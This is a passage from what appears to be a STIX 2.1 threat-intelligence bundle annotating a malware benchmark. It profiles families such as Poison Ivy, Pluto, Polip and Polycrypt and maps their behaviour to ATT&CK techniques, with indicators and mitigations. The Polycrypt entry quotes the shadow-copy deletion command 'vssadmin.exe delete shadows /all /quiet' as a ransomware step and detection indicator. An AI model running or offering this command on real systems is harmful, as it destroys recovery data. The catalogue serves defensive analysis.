      "id": "relationship--8c9a86b1-4ea0-5c55-9c46-2eb436571580",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f06f53b-26ad-5ba2-be5e-25b6906ca874",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugx exhibits technique T1055 (Process Injection (Injecting the RAT into svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c7fec57-998f-58f8-b07b-36ba38d53c55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f06f53b-26ad-5ba2-be5e-25b6906ca874",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugx exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Encrypted C2 communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d253d89-662c-5679-a60b-181d6691e21a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f06f53b-26ad-5ba2-be5e-25b6906ca874",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugx exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing intellectual property))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pluto",
      "description": "Pluto (identified in security intelligence under signatures including Worm:Win32/Pluto, Trojan:Win32/Pluto, W32.Pluto, and Worm.Win32.Pluto) is a hybrid Windows worm and backdoor trojan that emerged in 2006. Designed for widespread propagation and long-term endpoint control, Pluto self-replicates across external removable media (USB thumb drives and flash memory) and open local network shares. The worm drops disguised executable copies into drive root directories alongside weaponized autorun.inf files, masquerading as folder icons or legitimate system files to lure users into launching the payload. Upon execution, Pluto drops system binaries into %SYSTEM32% or %APPDATA%, creates autostart registry entries under the Run key, and establishes persistence through scheduled tasks. The payload connects back to remote command-and-control (C2) servers over HTTP or TCP, allowing operators to execute remote commands, manipulate system files, terminate running security tools, and download secondary malware droppers or cryptominers. (Observed samples in benchmark: 209)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Pluto",
        "Trojan:Win32/Pluto",
        "W32.Pluto",
        "Worm.Win32.Pluto",
        "Win32/Pluto"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pluto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pluto"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37bb5b6e-a195-5435-a5a7-d47efd3a9e9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pluto exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75755ee7-3f4d-516d-9c75-f3a37982fe73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pluto exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fc303fc-454a-5af1-a999-41039ad2d2c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pluto exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edcb5d2f-8993-5481-9221-4552db3ba58a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pluto exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2a0ff72-a63f-5161-a686-b329234f013f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8059d1a-7637-561a-9142-9993d673cca4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pluto exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c765ec8-e29a-53c0-b2ca-5de92bda43c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Podnuha",
      "description": "<h3>Executive Summary</h3>\nPodnuha (derived from the Russian word for \"slip\" or \"trick\") is a pervasive family of Adware and Potentially Unwanted Programs (PUPs) engineered to aggressively monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading system performance.\n\n<h3>Distribution and Technical Behavior</h3>\nPodnuha is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, Podnuha deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Podnuha alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Podnuha does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Podnuha executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Podnuha",
        "PUP.Podnuha",
        "BrowserModifier:Win32/Podnuha"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Podnuha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/podnuha"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b95d25c8-15fd-5be4-92aa-4be0f3532852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c765ec8-e29a-53c0-b2ca-5de92bda43c5",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Podnuha exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2568d96-7099-5596-870a-9e65214e3e48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c765ec8-e29a-53c0-b2ca-5de92bda43c5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Podnuha exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--321b4fca-4efa-5d5d-92c9-4bf9bee1b344",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c765ec8-e29a-53c0-b2ca-5de92bda43c5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Podnuha exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Poison",
      "description": "Poison Ivy (widely known across threat intelligence teams as PIVY) is one of the most historically significant and enduring Remote Access Trojans (RATs) in cyber warfare history, originally created in 2005 by Chinese software developer Song Shenghua (operating under the handle 'Shapeless'). Built in Delphi with a compact client payload (often under 10 KB in shellcode stub form), Poison Ivy offered comprehensive remote execution, process injection, audio surveillance, screen capture, file exfiltration, and password dumping.\n\nBetween 2008 and 2014, Poison Ivy became the primary cyber espionage workhorse for numerous Chinese military and intelligence units, most famously People's Liberation Army (PLA) General Staff Department Third Department Unit 61398 (APT1), as well as APT2, APT3, APT10, and APT17. The malware gained worldwide notoriety when it was deployed as the post-exploitation payload in the historic 2011 RSA SecurID breach, as well as the compromise of dozens of Fortune 500 chemical, defense, and aerospace corporations in Operation Nitro. The tool employs a distinctive password handshake and custom binary protocol protected by Camellia or 256-bit AES encryption. (Observed samples in benchmark: 261)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Poison Ivy",
        "PoisonIvy",
        "PIVY",
        "Trojan.PoisonIvy",
        "Win32/PoisonIvy",
        "Backdoor.PoisonIvy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Poison",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/poison"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49ee98f2-b719-5fac-b478-973b832cf374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poison exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3458dfbd-5a06-531e-b9f8-f6627f603914",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poison exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4df0a967-f554-5ca5-a21f-bded380544b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poison exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37ab3da7-4b58-5c26-bc03-427e029582aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poison exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e08bc97-cbff-562a-a8d5-55f798115ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c47f586-2a70-5dc5-88e5-dde33f30c12b",
      "target_ref": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poison exhibits technique T1573 (Encrypted Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d201e3f0-aa77-576c-b83d-7e3b3ab3980e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Polip",
      "description": "Virus:Win32/Polip is an extremely complex, highly sophisticated **polymorphic file infector**. Unlike standard trojans that simply drop a malicious payload, Polip actively searches for and physically modifies legitimate Windows executable files (`.exe`) on the host. What makes Polip particularly dangerous is its advanced polymorphic engine; it generates unique decryption routines and heavily obfuscates its code for every single file it infects, making signature-based detection by antivirus engines incredibly difficult.<br><br><b>Understanding Polymorphic Viruses</b><br>To an end-user, a Polip infection might eventually cause system instability or corruption of applications. For a malware analyst and AV vendor, Polip is a nightmare. Because the virus mutates its code structure and encrypts its payload differently every time it replicates, there is no static 'signature' to catch. Analysts must rely on advanced behavioral analysis and heuristic emulation to detect the underlying decryption loop (the one constant in polymorphic malware).<br><br><b>Execution, Infection, and Mutation Mechanics</b><br>Polip is often introduced via a dropper trojan or an infected executable downloaded from a peer-to-peer network. When an infected file is run (`T1204.002`), the unique Polip decryptor stub executes first. It decrypts the main virus body into memory. The virus then hooks system APIs (`T1056.004`) to intercept file access. When it finds a target `.exe`, it appends its encrypted payload and generates a brand new, highly obfuscated decryption stub, patching the entry point of the clean `.exe` to point to this new stub (`T1055.001`). This ensures the virus runs before the legitimate application. Polip also employs heavy anti-debugging and anti-emulation techniques (`T1622`) to prevent AV scanners from safely analyzing its code.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is widespread, deep file corruption and a high likelihood of AV evasion. Host-based IoCs include EDR alerts for 'Suspicious File Modification' targeting numerous legitimate Windows binaries in `System32` or `Program Files`. Analysts may notice anomalous file size increases across multiple `.exe` files, and the presence of complex, junk code instructions at the entry points of these files. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Polip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/polip"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55158c71-ba7c-5f80-9702-977feeacfb3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d201e3f0-aa77-576c-b83d-7e3b3ab3980e",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polip exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (File Infection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8261417f-13e9-5d53-b92f-159afccf886d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d201e3f0-aa77-576c-b83d-7e3b3ab3980e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polip exhibits technique T1027 (Obfuscated Files or Information (Polymorphic engine))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4ba714c-58dc-5319-a153-1146c069475e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d201e3f0-aa77-576c-b83d-7e3b3ab3980e",
      "target_ref": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polip exhibits technique T1622 (Debugger Evasion (Anti-emulation techniques))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f5a0275-4c23-52d4-89c0-56fae7e3f6c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d201e3f0-aa77-576c-b83d-7e3b3ab3980e",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polip exhibits technique T1056.004 (Input Capture: Credential API Hooking (API interception))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08bb8f3c-ea2e-5951-a53e-48d1ed07baa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Polycrypt",
      "description": "Ransom:Win32/Polycrypt is a severe threat classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension to the files, and demanding payment in cryptocurrency for the decryption key.<br><br><b>Understanding Polycrypt</b><br>To an end-user, a Polycrypt infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Polycrypt is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Polycrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/polycrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a99778c6-dd25-597f-bc73-73ac1cba03ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08bb8f3c-ea2e-5951-a53e-48d1ed07baa6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polycrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d2df7aa-b932-55e0-99dd-56aae381d716",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08bb8f3c-ea2e-5951-a53e-48d1ed07baa6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polycrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d4736f3-5313-583c-b5c7-aea054cebe1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08bb8f3c-ea2e-5951-a53e-48d1ed07baa6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polycrypt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42171e92-0016-5f6c-8eec-c7eebadb6a31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08bb8f3c-ea2e-5951-a53e-48d1ed07baa6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polycrypt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35063aff-a23e-5627-a210-f83e4995681d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Polypatch",
      "description": "Virus:Win32/Polypatch is a highly aggressive polymorphic file infector. Unlike modern trojans that simply drop a malicious payload, Polypatch actively seeks out and permanently modifies legitimate executable files (`.exe`, `.dll`) across the entire infected system and attached network drives, appending its malicious code to them. This makes it incredibly difficult to eradicate without destroying the underlying software.<br><br><b>Understanding Polypatch</b><br>To a victim, a Polypatch infection often results in a severely unstable computer, as the aggressive file modification process frequently corrupts legitimate applications, causing crashes and errors. For a security analyst, an active file infector is a worst-case scenario. Because it infects *existing* files, simply deleting the 'malware' means deleting every legitimate program on the computer.<br><br><b>Execution and File Infection Mechanics</b><br>When the initial Polypatch payload executes, it injects its core infection routine directly into a core system process (like `explorer.exe`) (`T1055`). Operating from memory, it begins scanning the hard drive and mapped network shares for target executables. When it finds a target (e.g., `calc.exe`), it utilizes complex polymorphism (`T1027`) to append a mutated, uniquely encrypted version of its viral code to the end of the file, modifying the executable's entry point (`T1546`). Now, whenever the user runs the infected `calc.exe`, the viral code executes first (infecting more files) before silently passing control back to the original calculator program.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total, destructive compromise of the operating system and any attached file shares. Incident responders will observe massive, unexplained file modification activity across the disk. Executables will suddenly increase in size. EDR platforms will generate overwhelming alerts as every application launched by the user attempts to perform malicious injections. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Polypatch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/polypatch"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd4cc5f2-2c92-5025-811c-fd8224e5488b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35063aff-a23e-5627-a210-f83e4995681d",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polypatch exhibits technique T1546 (Event Triggered Execution (File Infection / Entry Point Modification))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbb1fbb4-2d57-5991-94da-ca461e43dd34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35063aff-a23e-5627-a210-f83e4995681d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polypatch exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e1dca40-6fe0-53cc-970a-c018410c43a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35063aff-a23e-5627-a210-f83e4995681d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polypatch exhibits technique T1027 (Obfuscated Files or Information: Polymorphic Code)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60a5fb28-099a-5108-bf87-5a6614541398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35063aff-a23e-5627-a210-f83e4995681d",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Polypatch exhibits technique T1485 (Data Destruction (Collateral damage from infection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d33fa4f-6578-5132-a785-48d874501457",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pondfull",
      "description": "<h3>Executive Summary</h3>\nPondfull is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPondfull is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pondfull operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pondfull ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pondfull receives 